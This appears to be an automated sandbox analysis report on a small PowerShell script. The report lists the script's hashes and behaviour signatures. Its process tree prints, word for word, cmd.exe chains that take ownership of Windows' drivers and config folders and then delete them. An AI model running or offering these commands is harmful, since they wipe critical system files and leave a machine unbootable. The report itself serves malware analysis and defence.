Analysis

  • max time kernel
    116s
  • max time network
    148s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    13-08-2024 20:52

General

  • Target

    file01.ps1

  • Size

    356B

  • MD5

    3f55ba228a7b2931005316aa0a1c05ea

  • SHA1

    2795c83876b760678379f29c9a16b502bafdfc42

  • SHA256

    6377fc50b386cf4e90f86e49e89125e01af9ac23349ee5d5ce9c49c23ad3f308

  • SHA512

    765e776d02c153b0e4817196471e429cc280e0bc06df4662825abc2d3be1fff210e5cca15580e14564e160690d81fa73f2712ee1f3dc3b3242d419c6d6bd7afb

Malware Config

Signatures

  • Possible privilege escalation attempt 4 IoCs
  • Modifies file permissions 1 TTPs 4 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\file01.ps1
    1⤵
    • Command and Scripting Interpreter: PowerShell
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3000
    • C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /k "takeown /f C:\Windows\System32\drivers\* >nul && icacls C:\Windows\System32\drivers\* /grant everyone:(f) >nul && del /s /q C:\Windows\System32\drivers\* >nul && exit"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3016
      • C:\Windows\system32\takeown.exe
        takeown /f C:\Windows\System32\drivers\*
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        • Suspicious use of AdjustPrivilegeToken
        PID:2640
      • C:\Windows\system32\icacls.exe
        icacls C:\Windows\System32\drivers\* /grant everyone:(f)
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:380
    • C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /k "takeown /f C:\Windows\System32\config\* >nul && icacls C:\Windows\System32\config\* /grant everyone:(f) >nul && del /s /q C:\Windows\System32\config\* >nul 2>&1 && exit"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:464
      • C:\Windows\system32\takeown.exe
        takeown /f C:\Windows\System32\config\*
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:4968
      • C:\Windows\system32\icacls.exe
        icacls C:\Windows\System32\config\* /grant everyone:(f)
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:1372

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_14wkjsun.3s4.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/3000-0-0x00007FF9D8953000-0x00007FF9D8955000-memory.dmp

    Filesize

    8KB

  • memory/3000-2-0x000001AFFF5A0000-0x000001AFFF5C2000-memory.dmp

    Filesize

    136KB

  • memory/3000-11-0x00007FF9D8950000-0x00007FF9D9411000-memory.dmp

    Filesize

    10.8MB

  • memory/3000-12-0x00007FF9D8950000-0x00007FF9D9411000-memory.dmp

    Filesize

    10.8MB

  • memory/3000-15-0x00007FF9D8950000-0x00007FF9D9411000-memory.dmp

    Filesize

    10.8MB